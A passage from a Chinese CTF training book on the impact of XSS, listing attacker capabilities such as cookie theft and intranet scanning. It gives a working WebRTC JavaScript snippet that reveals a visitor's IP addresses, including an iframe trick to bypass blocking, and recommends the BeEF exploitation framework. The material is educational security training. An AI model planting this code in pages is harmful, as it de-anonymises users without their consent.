CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

3.4 危害与利用技巧

XSS漏洞利用的基础是脚本,攻击发生的位置是客户端浏览器。也就是说,在浏览器中脚本所能做的事情通过XSS漏洞都可以完成,而不仅仅是窃取Cookie。XSS漏洞可以实现的功能包括但不限于:

·窃取用户Cookie信息,伪造用户身份;

·与浏览器DOM对象进行交互,执行受害者所有可以执行的操作;

·获取网页源码;

·发起HTTP请求;

·使用HTML5 Geolocation API获取地理位置信息;

·使用WebRTC API获取网络信息;

·发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击;

·...

如下代码展示了如何使用WebRTC API获取网络信息:


//获取与账户关联的IP地址
function getIPs(callback){
    var ip_dups = {};
    //兼容Firefox和Chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var useWebKit = !!window.webkitRTCPeerConnection;
    //使用iframe绕过webrtc的拦截
    if(!RTCPeerConnection){
        //注意:你需要在script标签上方的页面中有一个iframe标签,比如
        //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
        //<script>...这里调用getIPs...
        var win = iframe.contentWindow;
        RTCPeerConnection = win.RTCPeerConnection
            || win.mozRTCPeerConnection
            || win.webkitRTCPeerConnection;
        useWebKit = !!win.webkitRTCPeerConnection;
    }
    //数据连接的最低要求
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
    var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
    //构造一个RTCPeerConnection对象
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    function handleCandidate(candidate){
        //仅匹配IP地址
        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
        var ip_addr = ip_regex.exec(candidate)[1];
        //删除重复项
        if(ip_dups[ip_addr] === undefined)
            callback(ip_addr);
        ip_dups[ip_addr] = true;
    }
    //监听candidate事件
    pc.onicecandidate = function(ice){
        //跳过非candidate事件
        if(ice.candidate)
            handleCandidate(ice.candidate.candidate);
    };
    //创建伪造的数据通道
    pc.createDataChannel("");
    pc.createOffer(function(result){ 
        pc.setLocalDescription(result, function(){}, function(){});
    }, function(){});
    //一秒后执行
    setTimeout(function(){
        //从本地描述中读取candidate信息
        var lines = pc.localDescription.sdp.split('\n');
        lines.forEach(function(line){
            if(line.indexOf('a=candidate:') === 0)
                handleCandidate(line);
        });
    }, 1000);
}
//测试
getIPs(function(ip){document.write(ip + '<br>');});

访问结果如图3-6所示,成功显示出了IP信息。

图3-6 WebRTC获取IP地址

这里再推荐一个非常好用的开源XSS漏洞利用平台:BeEF(The Browser Exploitation Framework),项目地址为https://github.com/beefproject/beef/。该平台中包含大量XSS代码,可供参考和学习。